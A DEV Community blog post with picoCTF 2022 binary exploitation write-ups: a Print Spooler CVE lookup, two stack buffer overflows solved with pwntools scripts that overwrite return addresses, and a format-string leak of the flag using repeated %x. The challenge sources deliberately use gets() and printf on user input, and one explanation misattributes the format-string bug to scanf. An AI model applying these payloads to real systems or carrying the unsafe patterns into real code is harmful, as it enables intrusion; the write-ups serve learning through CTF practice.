DEV Community

Cover image for CTF Writeup: picoCTF 2022 Binary Exploitation
Lena
Lena

Posted on • Updated on

CTF Writeup: picoCTF 2022 Binary Exploitation

My picoCTF 2022 writeups are broken up into the following sections,
1. Forensics (Solved 13/13)
2. Cryptography (Solved 11/15)
3. Binary Exploitation (Solved 5/14)
4. Reverse Engineering (Solved 2/12)
5. Web Exploitation (Solved 2/12)

All my writeups can also be found on my GitHub's CTFwriteups repository

The Binary Exploitation challenges I solved in picoCTF 2022 are the following,

Table of Contents

All my writeups can also be found on my GitHub's CTFwriteups repository

CVE-XXXX-XXXX

The challenge is the following,

Figure 1

So I looked up remote code execution windows print spooler 2021 on Google, and found a site from Microsoft that listed vulnerabilities.

Figure 1

I saw that this was the first recorded remote code execution vulnerability in 2021 in the Windows Print Spooler Service, so I knew CVE-2021-34527 was the CVE I was looking for.

Therefore, the flag is,

picoCTF{CVE-2021-34527}

buffer overflow 0

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <signal.h>
5. 
6. #define FLAGSIZE_MAX 64
7. 
8. char flag[FLAGSIZE_MAX];
9. 
10. void sigsegv_handler(int sig) {
11.   printf("%s\n", flag);
12.   fflush(stdout);
13.   exit(1);
14. }
15. 
16. void vuln(char *input){
17.   char buf2[16];
18.   strcpy(buf2, input);
19. }
20. 
21. int main(int argc, char **argv){
22.   
23.   FILE *f = fopen("flag.txt","r");
24.   if (f == NULL) {
25.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
26.                     "own debugging flag.\n");
27.     exit(0);
28.   }
29.   
30.   fgets(flag,FLAGSIZE_MAX,f);
31.   signal(SIGSEGV, sigsegv_handler); // Set up signal handler
32.   
33.   gid_t gid = getegid();
34.   setresgid(gid, gid, gid);
35. 
36. 
37.   printf("Input: ");
38.   fflush(stdout);
39.   char buf1[100];
40.   gets(buf1); 
41.   vuln(buf1);
42.   printf("The program will exit now\n");
43.   return 0;
44. }


Enter fullscreen mode Exit fullscreen mode

I saw that gets(buf1) in line 40 is used to read the user input, which does not check for the overflow, and is inputted to vuln(buf1) in line 41.
I saw that the buf2[16] buffer in line 17 in vuln() can be overflowed with 20 bytes into the code that reads flag.txt starting from line 23, so I prepared 20 A,

AAAAAAAAAAAAAAAAAAAA

I connected to the remote server, and inputted 20 A,

Figure 1

Therefore, the flag is,

picoCTF{ov3rfl0ws_ar3nt_that_bad_81929e72}

buffer overflow 1

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <string.h>
4.  #include <unistd.h>
5.  #include <sys/types.h>
6.  #include "asm.h"
7. 
8.  #define BUFSIZE 32
9.  #define FLAGSIZE 64
10. 
11. void win() {
12.   char buf[FLAGSIZE];
13.   FILE *f = fopen("flag.txt","r");
14.   if (f == NULL) {
15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
16.                     "own debugging flag.\n");
17.     exit(0);
18.   }
19. 
20.   fgets(buf,FLAGSIZE,f);
21.   printf(buf);
22. }
23. 
24. void vuln(){
25.   char buf[BUFSIZE];
26.   gets(buf);
27. 
28.   printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
29. }
30. 
31. int main(int argc, char **argv){
32. 
33.   setvbuf(stdout, NULL, _IONBF, 0);
34.   
35.   gid_t gid = getegid();
36.   setresgid(gid, gid, gid);
37. 
38.   puts("Please enter your string: ");
39.   vuln();
40.   return 0;
41. }
Enter fullscreen mode Exit fullscreen mode

Here, gets() is used in line 26, which is a vulnerable function because it doesn't check for overflow, so I will be exploiting that. I saw that the function win() is the function that contains the flag reader, so this is the function I want to jump to. I used pwndbg and used info functions.

Figure 1

I saw that win() was in 0x080491f6, so this is the return address that I want to overwrite. I know that 44 bytes can be used to overflow the buffer and rewrite the return address, so I prepared the padding of 44 A,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I assumed that I needed to swap the endianness for the return address, so I used,

\xf6\x91\x04\x08

Then I put everything together into the following exploit.py,

from pwn import *

#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''

def start(server=True):
        if(server):
                return remote('saturn.picoctf.net', 53520)
        else:

                return process(['./vuln'])

io = start()

#io.recvuntil(">>")
a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
a += "\xf6\x91\x04\x08"
io.sendline(a)

io.interactive()

Enter fullscreen mode Exit fullscreen mode

I executed this script, which connected to the remote server and inputted the padding and return address,

Figure 1

Therefore, the flag is,

picoCTF{addr3ss3s_ar3_3asy_b9797671}

buffer overflow 2

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <string.h>
4.  #include <unistd.h>
5.  #include <sys/types.h>
6. 
7.  #define BUFSIZE 100
8.  #define FLAGSIZE 64
9. 
10. void win(unsigned int arg1, unsigned int arg2) {
11.   char buf[FLAGSIZE];
12.   FILE *f = fopen("flag.txt","r");
13.   if (f == NULL) {
14.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
15.                     "own debugging flag.\n");
16.     exit(0);
17.   }
18. 
19.   fgets(buf,FLAGSIZE,f);
20.   if (arg1 != 0xCAFEF00D)
21.     return;
22.   if (arg2 != 0xF00DF00D)
23.     return;
24.   printf(buf);
25. }
26. 
27. void vuln(){
28.   char buf[BUFSIZE];
29.   gets(buf);
30.   puts(buf);
31. }
32. 
33. int main(int argc, char **argv){
34. 
35.   setvbuf(stdout, NULL, _IONBF, 0);
36.   
37.   gid_t gid = getegid();
38.   setresgid(gid, gid, gid);
39. 
40.   puts("Please enter your string: ");
41.   vuln();
42.   return 0;
43. }
Enter fullscreen mode Exit fullscreen mode

Here, gets() is used in line 29, which is a vulnerable function because it doesn't check for overflow, so I will be exploiting that. I saw that the function win() is the function that contains the flag reader, so this is the function I want to jump to. I used pwndbg and used info functions like in buffer overflow 1.

Figure 1

I saw that win() was in 0x08049296, so this is the return address that I want to jump to. However, unlike buffer overflow 1, I had to also pass arguments 0xCAFEF00D and 0xF00DF00D to the win() function, as lines 20 and 22 checks for these.

Here, I saw that the buffer in line 28 can be overflowed with 112 bytes to rewrite the return address, so I prepared 112 A,

a = 'A' * 112

And I want to jump to the address 0x08049296 so I swapped the endian,

a += "\x96\x92\x04\x08"

I needed the input parameters to win() to be 0xCAFEF00D and 0xF00DF00D, so I first prepared a padding of 4 bytes,

a += "CCCC"

Then I prepared 0xCAFEF00D by swapping the endian,

a += "\x0d\xf0\xfe\xca"

Then I prepared 0xF00DF00D by swapping the endian,

a += "\x0d\xf0\x0d\xf0"

I put everything together into the following exploit2.py,

from pwn import *

#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''

def start(server=True):
        if(server):
                return remote('saturn.picoctf.net', 52578)
        else:

                return process(['./vuln'])

io = start()

#io.recvuntil(">>")
a = 'A' * 112
a += "\x96\x92\x04\x08"
a += "CCCC"
a += "\x0d\xf0\xfe\xca"
a += "\x0d\xf0\x0d\xf0"
io.sendline(a)

io.interactive()

Enter fullscreen mode Exit fullscreen mode

I executed the script and passed the inputs to the remote server,

Figure 1

Therefore, the flag is,

picoCTF{argum3nt5_4_d4yZ_eb489c7a}

flag leak

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <string.h>
4.  #include <unistd.h>
5.  #include <sys/types.h>
6.  #include <wchar.h>
7.  #include <locale.h>
8. 
9.  #define BUFSIZE 64
10. #define FLAGSIZE 64
11. 
12. void readflag(char* buf, size_t len) {
13.   FILE *f = fopen("flag.txt","r");
14.   if (f == NULL) {
15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
16.                     "own debugging flag.\n");
17.     exit(0);
18.   }
19. 
20.   fgets(buf,len,f); // size bound read
21. }
22. 
23. void vuln(){
24.    char flag[BUFSIZE];
25.    char story[128];
26. 
27.    readflag(flag, FLAGSIZE);
28. 
29.    printf("Tell me a story and then I'll tell you one >> ");
30.    scanf("%127s", story);
31.    printf("Here's a story - \n");
32.    printf(story);
33.    printf("\n");
34. }
35. 
36. int main(int argc, char **argv){
37. 
38.   setvbuf(stdout, NULL, _IONBF, 0);
39.   
40.   // Set the gid to the effective gid
41.   // this prevents /bin/sh from dropping the privileges
42.   gid_t gid = getegid();
43.   setresgid(gid, gid, gid);
44.   vuln();
45.   return 0;
46. }
47. 
Enter fullscreen mode Exit fullscreen mode

This problem is similar to a picoGYM challenge I did some time ago. I saw that line 30 scanf("%127s", story) has a format string vulnerability, where the memory can be leaked with %x. So I went ahead and connected to the remote server and inputted %x,

Figure 1

Which gave me ffee0140, so I tried more,

Figure 1

And I tried even more,

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Enter fullscreen mode Exit fullscreen mode

Figure 1

Which gave me,

fff2a990fff2a9b08049346782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578252578256f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738fbad2000556b29000f7f4a990804c00080494100804c000fff2aa7880494182fff2ab24fff2ab300fff2aa9000f7d40ee5
Enter fullscreen mode Exit fullscreen mode

I saw that the following section might be ASCII,

6f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738

So I entered spaces between them,

6f 63 69 70 7b 46 54 43 6b 34 33 4c 5f 67 6e 31 67 34 6c 46 66 66 30 5f 34 74 53 5f 62 5f 6b 63 65 30 34 38 7d 39 37 38

And I went to CyberChef to convert it from hex,

Figure 1

This looked like the flag, but was scrambled up. So I assumed that I had to swap the endianness,

Figure 1

Therefore, the flag is,

picoCTF{L34k1ng_Fl4g_0ff_St4ck_b840e879}

Discussion (0)